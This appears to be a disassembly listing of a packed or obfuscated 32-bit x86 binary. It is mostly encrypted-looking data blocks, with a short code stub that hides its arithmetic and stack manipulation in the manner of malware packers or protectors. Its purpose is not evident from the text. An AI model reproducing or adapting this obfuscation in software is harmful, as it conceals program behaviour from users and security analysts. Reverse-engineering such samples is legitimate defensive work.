		dd 758875EBh, 8D893617h, 61322C5h, 2331B5FFh, 8D0F0613h
		dd 6, 9D99D8Bh,	0BD8B0613h, 613104Dh, 1D8995FFh, 0BF0F0613h
		dd 0FF006ADEh, 130DA995h, 0EBC08B06h, 0A795C47Eh, 526115A1h
		dd 2F7A24BAh, 31F130Ah,	3C58FF8h, 0B1C3801Eh, 0A4A79217h
		dd 637F70C0h, 1247837Dh, 0C2FA0048h, 2319B0D9h,	41BEA01Eh
		dd 9D328EF1h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h,	0A5A8203Ah
		dd 6C6AB5FAh, 1C4898Fh,	0B8BDC796h, 9E64C65Eh, 0D9EA0371h
		dd 0DE43F608h, 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh
		dd 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h, 8DA89843h
		dd 1B46538Dh, 0CE906h, 0F49A0000h, 0D7A3AA0Ah, 0CE4CCFFAh
		dd 8D8956BFh, 6131BBDh,	24259589h, 85C70613h, 61318DDh
		dd 5D40h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0AC35646h, 0F0A6A83h, 148Ch, 0FE900h, 0E6B70000h
		dd 0C64B31CEh, 0EE36C38Fh, 575B468Ch, 5585C7B4h, 61330h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 1110C351h, 0A8132D00h,	1B5FFF9h
		dd 6A061321h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 49D4C352h, 608FED0Ah, 0FDAF4CDEh
		dd 24419D8Bh, 95FF0613h, 6131D89h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 76C35242h, 6F8DC103h, 0C9C20AFCh
		dd 12398589h, 6A0613h, 0DA995FFh, 0C08B0613h, 7BB738EBh
		dd 7F25A982h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh,	94207635h
		dd 0C74650FDh, 0E46196Dh, 0B5BACD8Bh, 0B1B1752Ah, 0A0362D35h
		dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 8D8D7BD0h,	61B47A3h
		dd 0B058523h, 8D890613h, 6131BBDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 9FC35545h, 48032F29h, 8B66BB6Bh
		dd 5800FFAh, 0BA000000h, 6615AE6h, 18DD85C7h, 6E1C0613h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 858BE4C3h, 6132FA5h, 305585C7h, 613h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 800F5AC3h, 6, 5505CB81h, 0B5FF6203h,	6130B01h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 80C35747h, 0E24F8EC4h
		dd 0B85EC4D0h, 560CF251h, 8E9h,	0BD47E400h, 7A356C38h
		dd 8995FFF6h, 6A06131Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 9D3EC355h, 0CAFB617Ch
		dd 0B71A89DDh, 29BD858Bh, 6A0613h, 0DA995FFh, 0C08B0613h
		dd 8CF12EEBh, 0D6EFD0F3h, 2B33EAFDh, 94DE389Fh,	8D0BE5C3h
		dd 6C85B121h, 66FBBDF0h, 95DC24C4h, 0FD22188Fh,	0EB24B15Eh
		dd 1FE0EDD5h, 96CACA76h, 2DE9h,	858FDD00h, 6Ch,	9 dup(0)
		dd 91E90000h, 0CA000005h, 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h
		dd 0C7E9C987h, 0C9FCDA7Ah, 9CB80566h, 86CC1C3Eh, 9BAD0228h
		dd 88C4153Bh, 0CF3E212Ah, 16B8FD53h, 0BD59051Ch, 7251E06Ch
		dd 3187EB4Dh, 0A33491E3h, 1C7D9CADh, 213382D4h,	0C77AA582h
		dd 0EAE455CFh, 0D71773E2h, 0BDE0109Dh, 22082533h, 2436BE90h
		dd 3B1CBB91h, 9DD750CAh, 0ECF41910h, 4408597Dh,	7FF1D6F5h
		dd 97158D52h, 85D5F7C1h, 0ABE778C9h, 7BD1640Eh,	66E2755Bh
		dd 0EAE95E49h, 2B5CB627h, 0E025109Eh, 964F44BBh, 0B2F104Eh
		dd 40C190B8h, 47015678h, 0CE84D4F6h, 460E5B7Fh,	0C981D3F7h
		dd 0BE3B5778h, 0FA8F01D7h, 0E0F3624Dh, 258AC014h, 0BC04FBC6h
		dd 0A303459Ah, 0D630A582h, 9F109DC5h, 0D164767Eh, 0CAEDEA7Bh
		dd 9DC63F9Bh, 21850810h, 0D433BD91h, 109DC675h,	1F2E22B1h
		dd 95A4AC3Bh, 1D2C20B1h, 0FF7C16FCh, 0E861F116h, 41FBF4C4h
		dd 755CA3h, 0BD020000h,	2051E06Ch, 109DB4A4h, 76C78DDCh
		dd 0FA4B0154h, 76C987D8h, 71967FFCh, 744468E1h,	16A341EAh
		dd 96D78631h, 0FDF63412h, 0AF210323h, 118A0C1h,	1, 0E16DBD55h
		dd 72DC6E50h, 50DFE3h, 9EC19E31h, 9DB4F36Fh, 8F59BC10h
		dd 7CCE84F5h, 7BCEF4D2h, 0C392BC0Eh, 96F06542h,	5F109DB4h
		dd 5E7F5F3Eh, 470B5981h, 6CE697F6h, 35109DB5h, 0BD4E08D0h
		dd 0BB8F2170h, 0F211A5AAh, 0F31FEB07h, 6562F392h, 0D160EC3Dh
		dd 942628B0h, 65E3ABBAh, 0D10423D4h, 109EA675h,	0C315DF3Eh
		dd 32D51876h, 3C089237h, 0A5B7D5Dh, 0EED4F342h,	0B2982C59h
		dd 320362A3h, 75C709D3h, 7E5D84D5h, 0CB22C61h, 1A7B109Eh
		dd 192826B8h, 2596F0F8h, 41B029F7h, 79ECCBA3h, 109E071Dh
		dd 61DA7E6h, 61h, 0E470BD5Ch, 6BDF7155h, 700989DAh, 0C1E173C2h
		dd 0E46EBEE4h, 0AAAC3455h, 2B28391Bh, 3299B907h, 2D37F9D9h
		dd 292BB5CFh, 0BEA7B69Ah, 0D795B754h, 7FA341FAh, 45h, 0E470BDE3h
		dd 0B517655h, 65E9F998h, 83375B27h, 0C5F2151Ch,	101B77E6h
		dd 0A1E4109Eh, 0A6A23517h, 0AD1EB497h, 0CEEC68F5h, 0E16DBD74h
		dd 0B4A02150h, 7919109Dh, 0E5735700h, 3DFB636Dh, 0A5A341EAh
		dd 1, 0DF6BBDB9h, 0FE86DA00h, 44C58B4Fh, 52E382A7h, 5E860075h
		dd 0CE4F109Eh, 92BA0BAFh, 0EB7A42C3h, 67F656E7h, 0D88AFF71h
		dd 0C7E8C684h, 6AFB53E3h, 0E879D768h, 0B400C8A9h, 0D5FAD9ADh
		dd 1F2BE1D5h, 0F157EC90h, 0DA0B4890h, 168EB30Bh, 0C60859BCh
		dd 0D7F9D973h, 0C6E9C686h, 8AB13B97h, 3781040Ah, 5B84ABA8h
		dd 0AA20B571h, 0D68936F8h, 3859B46Dh, 0CF351B0h, 0A62C0A8Ah
		dd 80CC5D15h, 0A648FC23h, 0FCB3E6D0h, 0D7FB35D7h, 0E6EE1DE4h
		dd 63F3D7F8h, 0E6785AEBh, 0D9B8D968h, 5DEC68F5h, 0FA2B43Ch
		dd 972A2C3Dh, 0A13416B5h, 0BCC221ABh, 0B405BD4Eh, 0D2A23A98h
		dd 7A5AAD55h, 100h, 2BEA3E0h, 2729DBEBh, 0F654E812h, 26472667h
		dd 3484A689h, 6CE4F1Eh,	8EC72287h, 4897BB16h, 0B9D83908h
		dd 3913A6A8h, 0E093BC99h, 0F8B53C62h, 28B99B25h, 0A0311524h
		dd 5BF59DACh, 0E5A134DEh, 0D34D7CB7h, 409EFF83h, 0A1A93B1Fh
		dd 0B3F1BF17h, 42595AADh, 0FD000000h, 1670E5C2h, 0DF109DB5h
		dd 0DD0A36BEh, 5BD706A5h, 646F624Ch, 65E11021h,	67909DB6h
		dd 9BC49425h, 1995C8E7h, 92EF624Dh, 223321B0h, 0DCBD8B20h
		dd 8FEB8DF7h, 26AE7534h, 4B6644C9h, 68h, 0C8BEA3E7h, 0A18F7AEBh
		dd 1578168Eh, 9DAF0244h, 72EC213Eh, 3B0A8AA1h, 0E664F8DAh
		dd 0B0AE3657h, 741AAB8Fh, 8AA08501h, 0AECF4E0Ah, 64767E9Fh
		dd 9BEA7BD1h, 0A8AA038h, 32E05979h, 110DAD9Fh, 0DC11AED8h
		dd 1073DE57h, 0FE401174h, 0BC90A1ABh, 0FAEFB952h, 39BE2F8Ch
		dd 560A5897h, 91B69737h, 5D04E514h, 0E9737DDDh,	14FE0C2h
		dd 20667BB7h, 0F3CD5283h, 0ABEA1686h, 6B9ABD9Ah, 0A826CEFh
		dd 5F588FB8h, 3D958DACh, 0EF42945Ch, 0A5B7D5Dh,	0BF1C2C7Fh
		dd 823FD44Eh, 19789D0Ah, 153B948h, 4C9B73E8h, 7DBB1746h
		dd 1849FE3h, 0BDEAD160h, 65BD4BF4h, 3418A90Dh, 0C7DEF25h
		dd 2FCC4619h, 4573283h,	0F594F544h, 7ED2F8D5h, 0D41C7DCCh
		dd 4C1D2F82h, 61BD300Fh, 2A9FE370h, 7455C4EBh, 0C6A60CAFh
		dd 0C58BDCFEh, 577B6074h, 117B4505h, 0D577CA78h, 0FB65D1F6h
		dd 90E84EB3h, 95280A48h, 0AABA6B7h, 7000000h, 0FE4CE0C2h
		dd 72A62E6Fh, 0E571BDB0h, 6DDF7254h, 0E365FADCh, 72E07052h
		dd 252DFE3h, 92C20F33h,	20307FC3h, 0AF9B2D11h, 242ABC9Eh
		db 15h,	22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 53D4E15h
		add	edx, 0FAC2B1EFh
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 541807BBh
		add	edx, 0B2034052h
		push	edx
		sub	dword ptr [esp], 161755ACh
		pop	ebx
		add	ebx, 161755ACh
		pop	edx
		push	3AE1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 8
		add	eax, edi
		push	ebx
		sub	dword ptr [esp], 15804862h
		pop	dword ptr [eax]
		add	dword ptr [eax], 15804862h
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0DCh
		dd 0CFF2D273h, 936EA5D4h, 0D5379631h, 1B4CF8B8h, 0FFC50306h
		dd 0D84943E0h, 0C8EFCD58h, 5362E26Eh, 2C49D616h, 23F10A67h
		dd 13736456h, 647A23Bh,	8D3FE069h, 5623FA10h, 0A245A237h
		dd 4479A672h, 0EFCFA443h, 0D974D11Ch, 560B077Eh, 0C957B3Ah
		dd 8B78B215h, 62191651h, 98972C13h, 1A0E335Fh, 0D937C50Eh
		dd 5CC7AF52h, 12BA5C60h, 2E498469h, 64D69356h, 11F5E74Eh
		dd 88AA2453h, 88F4D170h, 348B8764h, 3F472906h, 0DD33271Ah
		dd 4ADA9460h, 3CFBA52h,	0A28D8D44h, 8B061B4Eh, 13234D9Dh
		dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8DC3C356h, 0E906F149h
		dd 7, 1A79134Ch, 0C702A887h, 1318DD85h,	701406h, 39950100h
		dd 0C7061301h, 13305585h, 6, 91858B00h,	0FF06130Dh, 1331EDB5h
		dd 1BA6606h, 8995FF95h,	2306131Dh, 1309E5BDh, 0FF006A06h
		dd 130DA995h, 0EBC08B06h, 3C9D7E0Ch, 3E6C0B1Eh,	3E7C8A6h
		dd 1EE9C0h, 0F4B00000h,	50A9h, 6 dup(0)
		dd 50DE9h, 0C4A9800h, 143A8CAEh, 0A4094B6h, 1B3586ACh
		dd 0C4895BBh, 5BB07FAEh, 4268460Eh, 604260F2h, 7B5D7DCBh
		dd 774462EAh, 2A92558h,	1F7216B9h, 70E5C243h, 109DB516h
		dd 2436BEDFh, 0ADAABB91h, 0B4FF5B8Ah, 45C8109Dh, 0B49BF766h
		dd 2164109Dh, 6928B597h, 0DDE273D7h, 0EBE08538h, 0E382E3E5h
		dd 4CDDC3h, 0CDBC0D31h,	283D27Eh, 5EF0D263h, 61EFD3F0h
		dd 972160F1h, 99B30648h, 1C3686C8h, 2ECB454Dh, 4A1B3184h
		dd 5999AACBh, 0AD9F32E0h, 0B60A300Dh, 0AEA03294h, 64767E9Fh
		dd 2A24B6CFh, 0A7A7371Bh, 77167796h, 6EE07258h,	2836BEDFh
		dd 3C9BAD02h, 0F070EA1Bh, 0D439109Dh, 0DF352DEFh, 965E0C84h
		dd 0ED65F3D7h, 0F157ECCEh, 2A6478E7h, 0FA4EE191h, 0E963F6DCh
		dd 4A82958h, 0B121109Eh, 0BA24F418h, 678CA341h,	0B2000000h
		dd 8B1D6CBDh, 71ED20BFh, 3A109DB5h, 5AABBADBh, 109DB4FEh
		dd 0D2032473h, 109DB578h, 2F8F1641h, 2B0FAF75h,	7308824Ah
		dd 416B8B49h, 133A3h, 0BD070000h, 0FC891E6Dh, 3554E56Bh
		dd 0A706F54h, 783E5AA4h, 0B4064819h, 3887CB9Ah,	5C964918h
		dd 0E8A333DFh, 2667F654h, 0F0416747h, 76249296h, 553405AAh
		dd 70BDDB75h, 547655E4h, 9BFA4B01h, 9FAFFF51h, 173D8CCEh
		dd 99AF0446h, 0D76549C8h, 0A624EA7Bh, 50BA2015h, 9ABA07BBh
		dd 89C3163Ch, 84296B8h,	65D63039h, 41E86937h, 65D1A3h
		dd 0BD650000h, 5BB72670h, 24109DB5h, 8DB180E1h,	0AD3E0F3Bh
		dd 8F1ED465h, 76C3E5C5h, 0FC4B8FDEh, 2B443E91h,	0CD9EE5D1h
		dd 2D3C5D3Ch, 0B31CA44h, 0A3416B5Dh, 6805h, 70BD5900h
		dd 0A9E0C7E4h, 0C9F5BABh, 0F8A2FC71h, 2A6B109Dh, 0E0E2814Bh
		dd 0FCDEFD4Bh, 6D5216Dh, 6F3F6F43h, 2427C60Eh, 0D8651DAEh
		dd 0BD045E7Ch, 0E0C2E16Dh, 0D31004Eh, 44C594C0h, 0BD4C9B25h
		dd 109DB55Ch, 13C435D5h, 0A3B2A22Fh, 0B4D531A4h, 7F9E109Dh
		dd 0D24CC11Eh, 9B109DB4h, 2AEA727Ah, 92A341EAh,	1, 1C6BBDA8h
		dd 52B382C8h, 93156D6Dh, 7F1EB1BCh, 24C6F1EEh, 3763E8D5h
		dd 0DE6F616Bh, 8709DF6Eh, 5EEC40F2h, 5D294080h,	161E0F7Eh
		dd 4ECF168Fh, 0FF8ADBFFh, 4FCE9FAFh, 17AA902Eh,	77D52435h
		dd 0AF0A8B14h, 75DB6C1Fh, 75C4A5E4h, 3688FF51h,	0E3E87918h
		dd 6A07ED0Dh, 6E207442h, 18C7E8DDh, 1988E72Fh, 428A4A44h
		dd 2E7F33C8h, 0D45F3458h, 0D8B97319h, 0C785D8FAh, 88015476h
		dd 0AA245935h, 730A8B22h, 0A3E27312h, 0FD8B73C2h, 0C983D68Ch
		dd 53E6CCE9h, 0A967EFF9h, 115AAC84h, 10Ch, 0C8BEA325h
		dd 0BC377AEBh, 4DD0168Eh, 0C587DAFCh, 0DA72C3E5h, 93F6478Bh
		dd 0E1F44341h, 700F5A10h, 0A0C14011h, 0EA5FE991h, 7A7A538h
		dd 0AD6BEDABh, 59555Ah,	0A3E90000h, 9DB503BCh, 14AEDFFCh
		dd 1D6F624Ch, 4D6A69F8h, 9DB4BE18h, 0BE068790h,	9DB4D34Fh
		dd 1E9BD590h, 56750D5Ah, 4E025179h, 31ADE0FFh, 0FA909DB5h
		dd 93F2FA9Bh, 0EF624C17h, 1DEFD20h, 99C88CD9h, 109DB53Dh
		dd 1F3D8706h, 65DC193Eh, 163CC83Ch, 7E93CEh, 0A32F0000h
		dd 246C02BEh, 0C1C819A8h, 0B4EF68DAh, 5A3BC49Bh, 0BCFD087Dh
		dd 0A7E6168Eh, 2B21B496h, 3814A58Bh, 0B4082A29h, 7E46C796h
		dd 8ABB8C0Fh, 34C5CD0Ah, 81212B7Eh, 8D2A5C85h, 7400B258h
		dd 9D2F1310h, 0CBEFCCADh, 5B0AD27Ah, 0B02A5B7Ch, 79046F6Bh
		dd 378ACC14h, 0DE104415h, 4798BA6Dh, 0FD93809h,	0DB0ABEA3h
		dd 46F6C7Fh, 7A4C548h, 58B230D6h, 86D9010Ah, 0CA1273C2h
		dd 80DAF81Dh, 9502BEA3h, 0D1567331h, 9DBA1978h,	9DFFEE68h
		dd 6598B710h, 109DFFE9h, 0AA3253B2h, 459238ADh,	92F31687h
		dd 1E2E7FC3h, 5479AC0h,	0C5381734h, 0A82B149h, 9AE9F312h
		dd 40141113h, 9E49C230h, 89262CBCh, 0D00FFA54h,	7A42C3B3h
		dd 68470558h, 5761F342h, 46065779h, 5EF2D8F7h, 0B43C5DECh
		dd 2E3F11A2h, 9443B83Ah, 0AA321CAEh, 973715A8h,	1D2C20B1h
		dd 340h, 0E17B9E00h, 54E571BDh,	0DC6DDF72h, 52E365FAh
		dd 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh, 9EAF9B2Dh
		dd 15242ABCh, 12836822h, 2C890000h, 81E58924h, 4C5h, 4ED8300h
		dd 5C242C87h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 89522414h, 4C281E2h,	81000000h, 4EAh, 24148700h, 243C895Ch
		dd 2CF96857h, 815F100Ah, 0EEDE1EEFh, 8BFA8909h,	0C483243Ch
		dd 3C8B5404h, 4C48324h,	22BF5752h, 310CF10Ah, 5F04247Ch
		dd 8108478Fh, 0A220877h, 3C8B0CF1h, 0E1895124h,	4C181h
		dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Ah, 0F82D7BE9h
		dd 53B87AFFh, 3061B53h,	0F0E0FFC5h, 0E72D15Eh, 8D0F8507h
		dd 0E60B6C2Eh, 642F1326h, 0BE06264Fh, 3D58595Bh, 1717768Eh
		dd 2E325DC7h, 0D55FB730h, 0B24619D6h, 0E039312Ah, 0EA50B1EFh
		dd 38532633h, 435C938Fh, 784003A2h, 1D5FAA5Ah, 0B55741BCh
		dd 0F3212AC5h, 2B3AC5CBh, 0DF6F9419h, 11283305h, 0F540FF67h
		dd 0C77C5239h, 5229F33Fh, 0D0316A7Ch, 94077B3Fh, 6D1CFB3Dh
		dd 0B8766418h, 6E5974D8h, 0EB08880Fh, 10h, 3 dup(0)
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3B01C352h, 1625BD83h, 75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h
		dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h,	132C81BDh
		dd 17740006h, 2DB85350h, 89000004h, 130D7D85h, 6C9D8D06h
		dd 0FF0615A6h, 0B585BD3h, 132129B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 836CBE85h
		dd 606037E4h, 8A18589h,	81660613h, 61EA24D2h, 95BA6661h
		dd 66C08BE5h, 66909EBAh, 8D8BD68Bh, 6131141h, 0AE9h, 0BE91E400h
		dd 5B193840h, 83036680h, 840F00F9h, 7Ah, 8B64D38Bh, 2C3Dh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 14E93C94h, 51000000h, 0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 0BB6B4803h, 0BAE3DBFh, 33840FFFh,	0F000000h
		dd 3F8BF2BFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	43C35141h, 32E1DA65h, 0CA8153C0h, 57353B04h, 80AAF35Ah
		dd 493583CEh, 6A535041h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 92BFC356h, 8B91E05Fh
		dd 132329B5h, 0C6F08A06h, 1311E185h, 6A4706h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0EA8A67C3h
		dd 0B6B3799Ah, 0BA66F92Dh, 958B34ECh, 6133139h,	4E8h, 0D6882C00h
		dd 50F28BDCh, 50F18B60h, 0F616052h, 5ACA8B31h, 448B6158h
		dd 8B0424h, 448936B2h, 0B2560424h, 6A585EE6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0B41CC356h, 87E3F30Dh, 48A94F9Bh, 0FE8h, 0DA198900h
		dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 17DB58Bh, 35E0613h
		dd 132A15B5h, 0E9B5FF06h, 6A06131Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C98C355h
		dd 5144239Fh, 0C8F83675h, 1ED19503h, 81660613h,	0F0022EEh
		dd 68Fh, 9952B00h, 8D06131Ch, 167C3385h, 0BEE28106h, 0FF783707h
		dd 699501D0h, 8906132Ch, 13226585h, 8D8D3106h, 0F061323h
		dd 580h, 3904BE00h, 85C6406Ah, 61311E1h, 50006A53h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 2756662Dh, 238DB523h, 4E80613h, 0FC000000h, 0F88986Ah
		dd 108Bh, 0BE900h, 94870000h, 0B373EB5Ah, 0A59B9510h, 12E8500Bh
		dd 0A000000h, 0D153FDA9h, 598C97D4h, 8159D758h,	0DC514DE3h
		dd 5A5E5730h, 424448Bh,	0F525050h, 5A585A31h, 5153008Bh
		dd 8A0Fh, 5A5A0000h, 4244489h, 5E9h, 94BF1C00h,	6658A9B2h
		dd 0B5FFD18Bh, 6131EE9h, 2C1D9533h, 958B0613h, 6131A7Dh
		dd 7C33858Dh, 800F0616h, 0Ch, 6820Fh, 0D6810000h, 3E8A67Ah
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B529A1C3h, 61315CDh, 6890Fh, 958B0000h
		dd 61325D1h, 3677858Dh,	6A0616h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 60F890C3h, 1C0D8529h
		dd 66600613h, 9458E881h, 896161F5h, 130D0985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 74D8878Ah, 6A206AA1h, 995FFFFh, 3506130Dh, 53504149h
		dd 22C185C7h, 10613h, 85C70000h, 613240Dh, 0
		dd 10918D89h, 8BF80613h, 131D5185h, 810F06h, 64000000h
		dd 0A3h, 79B52900h, 83061301h, 131F95BDh, 840F0006h, 47h
		dd 9EC2BA66h, 0E81858Bh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 8F0B6FC3h, 0D638673Eh
		dd 9607800h, 1301418Dh,	0C5BD2B06h, 61061322h, 8B66E08Bh
		dd 80F681D7h, 835C5EE9h, 131129BDh, 850F0006h, 3F0h, 0B58B6052h
		dd 6130A2Dh, 85C65E61h,	61311E1h, 685A5256h, 69518EF2h
		dd 28B0Fh, 0D08B0000h, 0ED240481h, 2B4073A1h, 13208595h
		dd 0E9B5FF06h, 306131Eh, 130DA5B5h, 8B666006h, 0D58D8BDAh
		dd 6106131Ah, 7C33858Dh, 0B5890616h, 613216Dh, 0B58BD0FFh
		dd 6132CCDh, 89F58A50h,	0DE82404h, 11000000h, 42EA02B8h
		dd 469CB89Bh, 6120C96Bh, 5EF3BF0Fh, 1A398D8Dh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B6E4D4C3h, 4E27B318h, 12E9h, 2B5E1700h, 1AE22958h
		dd 938873D2h, 0DEA94DABh, 0F077CDBh, 38Ah, 0F3BF0F00h
		dd 5050B291h, 5810Fh, 22BA0000h, 917B9328h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 8AC35646h, 13019D89h
		dd 46A0613h, 0F60F28Bh,	68Ch, 119D8B00h, 61061315h, 4E8h
		dd 100000h, 8E800h, 0A8C90000h,	730F2D04h, 52501417h, 6160310Fh
		dd 505E585Ah, 1372FFBEh, 24448B3Ch, 0F78B6604h,	11E8008Bh
		dd 0E9000000h, 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah,	4F37C041h
		dd 0E8F98B60h, 13h, 9D92654Bh, 6290A168h, 1DE411ECh, 20060809h
		dd 5E3C9784h, 44895E61h, 8C0F0424h, 5, 0D21CECBAh, 85895857h
		dd 61325F9h, 0DE9h, 0B2687800h,	94FFF415h, 63A8272h, 0B5FFEDC2h
		dd 6130BB9h, 34899589h,	0D0FF0613h, 4EEE8166h, 0B9BD8B75h
		dd 6606130Bh, 0B14FCA81h, 0BE3C7F03h, 1375003h,	0F8C781h
		dd 0B5890000h, 6130E31h, 202447C7h, 8B600000h, 131AEDB5h
		dd 6BBD8306h, 61B54h, 15E840Fh,	8F0F0000h, 2, 0C783D78Bh
		dd 0B1B58928h, 0C706132Eh, 696A2E07h, 56006A64h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0CFEECB62h, 0C7FC06F0h, 74610447h, 85890061h, 61323EDh
		dd 5473858Bh, 41B6061Bh, 6A0C4789h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69CC357h
		dd 3A71F74Ch, 59958B13h, 6606130Fh, 858BF78Bh, 61B5477h
		dd 58E0Fh, 66520000h, 895AF78Bh, 958B0847h, 61315F5h, 2BC19531h
		dd 0C7830613h, 53006A28h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 66D60104h, 8E9D08Bh, 3F000000h
		dd 0EAEF3437h, 0C7490A8Dh, 6F632E07h, 8985016Eh, 0C7061301h
		dd 69660447h, 6A0067h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 57F6B4C3h, 0E5A860A9h, 6F858B82h
		dd 0B6061B54h, 0C47892Dh, 8BF6B70Fh, 1B546B85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 84DEA8B3h, 4789B845h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 557B222h, 0A0A5EE41h
		dd 20FABA58h, 0B5893F13h, 6130EEDh, 9E18D8Dh, 870F0613h
		dd 0
		dd 50D18A91h, 5E8h, 2B2CF00h, 8B517F2Ch, 915A5AD3h, 0D419523h
		dd 0B5FF0613h, 6131A39h, 24559589h, 4E80613h, 0
		dd 0E9000010h, 8, 0B1329A3Dh, 0AC4E48F0h, 66536050h, 5B18B7B9h
		dd 5B73BF66h, 24448B61h, 0F78B6604h, 0B8BE008Bh, 891EA6D1h
		dd 60042444h, 9CBF6653h, 5E85B8Ah, 57000000h, 0FA16E893h
		dd 0EE42BF66h, 8958615Ah, 132A51B5h, 0B9B5FF06h, 0FF06130Bh
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9D89E2B3h, 6130789h, 0B8h, 860F00h, 0B000000h
		dd 4D840FC0h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0BD0FC357h,	0A4A4CB30h
		dd 1F359D89h, 9E90613h,	5A000000h, 9AB0842Bh, 0A480A937h
		dd 13A9B5FFh, 0B5310613h, 6131471h, 1D8995FFh, 8D890613h
		dd 6132BC9h, 9D29C08Bh,	6131DADh, 1625BD83h, 75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h
		dd 13311585h, 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh
		dd 17740006h, 2DB85350h, 89000004h, 13311585h, 859D8D06h
		dd 0FF0615A6h, 0F585BD3h, 681h,	0A9B58B00h, 6A06130Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 1A28C350h, 184E9C00h, 0D87E9E9Bh,	0C08BC08Bh
		dd 5E8h, 53FA5300h, 0B58B5564h,	6131311h, 0A984BE58h, 0C081273Dh
		dd 6717h, 8BDB33F8h, 1325A1BDh,	334FF06h, 3E44E781h, 8B5A5F63h
		dd 130E69BDh, 0AEF28106h, 81619F62h, 485DDEEAh,	0ED858951h
		dd 81061321h, 4A2132EAh, 4DBD8973h, 8906131Eh, 8E0F1814h
		dd 5, 96EE8166h, 66FC608Bh, 8361D78Bh, 0B52901EBh, 613324Dh
		dd 2B4B4B4Bh, 130DD1BDh, 9CFB8106h, 0FFFFF99h, 1F85h, 0FE900h
		dd 85E70000h, 95CA4382h, 243FCA0Dh, 0C5EC7629h,	1EE9C2h
		dd 736D0000h, 2445480Dh, 3850F50h, 66000000h, 0E95FCA8Bh
		dd 0FFFFFF71h, 883C6772h, 0CB1AF5B2h, 0CE8h, 4F4F9100h
